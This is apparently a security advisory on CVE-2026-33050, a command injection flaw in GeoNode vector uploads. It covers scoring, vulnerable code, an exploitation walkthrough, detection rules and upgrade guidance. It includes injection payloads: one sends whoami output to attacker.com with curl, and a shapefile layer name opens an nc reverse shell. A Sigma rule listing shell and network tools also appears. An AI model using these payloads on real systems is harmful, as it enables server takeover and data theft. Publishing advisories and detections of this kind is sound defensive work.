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CVE-2026-33050: GeoNode Vector Upload Layer Name OS Command Injection

Density:
C-Level Executive Briefing CVE-2026-33050 HIGH SCORE 86/100

A high-severity OS command injection vulnerability (CVE-2026-33050) has been disclosed in GeoNode, the premier open-source geospatial content management system and Spatial Data Infrastructure (SDI) platform. In versions prior to 5.1.0, GeoNode fails to sanitize vector layer metadata when handling spatial dataset uploads (such as Shapefiles, GeoJSON, or GeoPackage archives). An authenticated user who submits an upload request with shell metacharacters embedded within the layer name induces command injection during background format conversion and spatial indexing. Because public self-registration is frequently enabled on regional and national open data portals, low-privileged authentication is trivially acquired, allowing attackers to obtain direct interactive shell access on the application server. Hermes evaluates CVE-2026-33050 at HTS 86 (HIGH).

HERMES

HERMES THREAT SCORE & GEOSPATIAL PLATFORM INTEGRITY EVALUATION

Target: GeoNode Vector Processing Subsystem (geonode/layers/utils.py)
Confidence: 97%
86 / 100
HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 19 / 20
Threat Activity 16 / 20
Weaponization 18 / 20
Exposure 18 / 20
Prevalence 16 / 20
Impact 20 / 20
Exploit Maturity 18 / 20
Attack Chain Potential 19 / 20
โš–๏ธ Divergence & Operational Rationale

While CVSS v3.1 rates this defect at 8.8 (High) due to the Low Privileges requirement, Hermes assigns an HTS of 86 (HIGH). GeoNode instances host sensitive cadastral, territorial, and national infrastructure GIS databases. On open GIS portals where anyone can create a basic community account, the authentication barrier offers negligible friction, converting upload endpoints into direct server takeover vectors.


GeoNode is an open-source geospatial platform based on Django, GeoServer, and PostGIS, widely deployed by governmental agencies, emergency management services, and environmental research institutes to manage and share spatial datasets.

In November 2026, security researchers identified a command injection vulnerability tracked as CVE-2026-33050 (GitHub Advisory GHSA-9fpx-fr6j-2vh6). By uploading a vector file with a manipulated layer identifier containing shell separators, an attacker forces the server to execute arbitrary shell commands under the permissions of the geonode application user.


During vector data ingestion, GeoNode invokes external geospatial command-line tools (such as GDAL/OGR utilities ogr2ogr or shp2pgsql) to convert uploaded layers into PostGIS spatial tables.

In versions prior to 5.1.0, layer names extracted from uploaded metadata were concatenated directly into shell strings:

# geonode/layers/utils.py (Vulnerable Implementation)
def import_layer(file_path, layer_name):
# Improper string interpolation with shell=True
cmd = f"/usr/bin/ogr2ogr -f PostgreSQL PG:'...' '{file_path}' '{layer_name}'"
subprocess.call(cmd, shell=True)

If an attacker constructs a vector file (such as a zipped Shapefile) whose internal layer identifier is:

layer1'; id; curl http://attacker.com/$(whoami);#

The shell executes ogr2ogr, followed immediately by the injected commands id and curl, enabling full interactive reverse shell establishment.


  1. Account Registration / Authentication: The attacker registers a standard user account on the public GeoNode instance.
  2. Crafting Vector Payload: The attacker constructs an ESRI Shapefile where the layer metadata name contains command separators:
    Terminal window
    ogr2ogr -f "ESRI Shapefile" "payload.shp" input.geojson -nln "boundary';nc -e /bin/sh 198.51.100.1 4444;#"
  3. Upload via REST API: The file is submitted to /layers/upload:
    POST /layers/upload HTTP/1.1
    Host: target-geonode.org
    Authorization: Bearer <user_token>
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
  4. Execution: The Celery background task executes the geoprocessing command, launching the reverse shell.

PlatformVulnerable VersionsPatched Release
GeoNode (PyPI package GeoNode)< 5.1.05.1.0

Monitor for unusual shell spawning from Python or Celery workers:

Terminal window
auditctl -a always,exit -F arch=b64 -S execve -F ppid=<GUNICORN_PID> -k geonode_rce
title: GeoNode Suspicious Child Process Spawn
id: cve-2026-33050-geonode
status: experimental
description: Detects command execution spawned by GeoNode web workers or Celery task processes.
logsource:
category: process_creation
product: linux
detection:
selection:
ParentImage|endswith:
- '/python'
- '/python3'
- '/celery'
- '/gunicorn'
Image|endswith:
- '/sh'
- '/bash'
- '/curl'
- '/wget'
- '/nc'
condition: selection
level: high
tags:
- attack.execution
- attack.t1059.004

  1. Upgrade GeoNode to 5.1.0 or Later: Upgrade via pip or rebuild deployment containers:

    Terminal window
    pip install --upgrade GeoNode>=5.1.0
  2. Restrict Public Upload Permissions: If upgrades cannot be immediately applied, restrict vector upload permissions in settings.py:

    LOCKDOWN_GEONODE = True
    ENABLE_AUTO_REGISTER = False
  3. Isolate Celery Workers with AppArmor / SELinux: Confine geoprocessing worker containers so that network egress and shell execution are strictly bounded.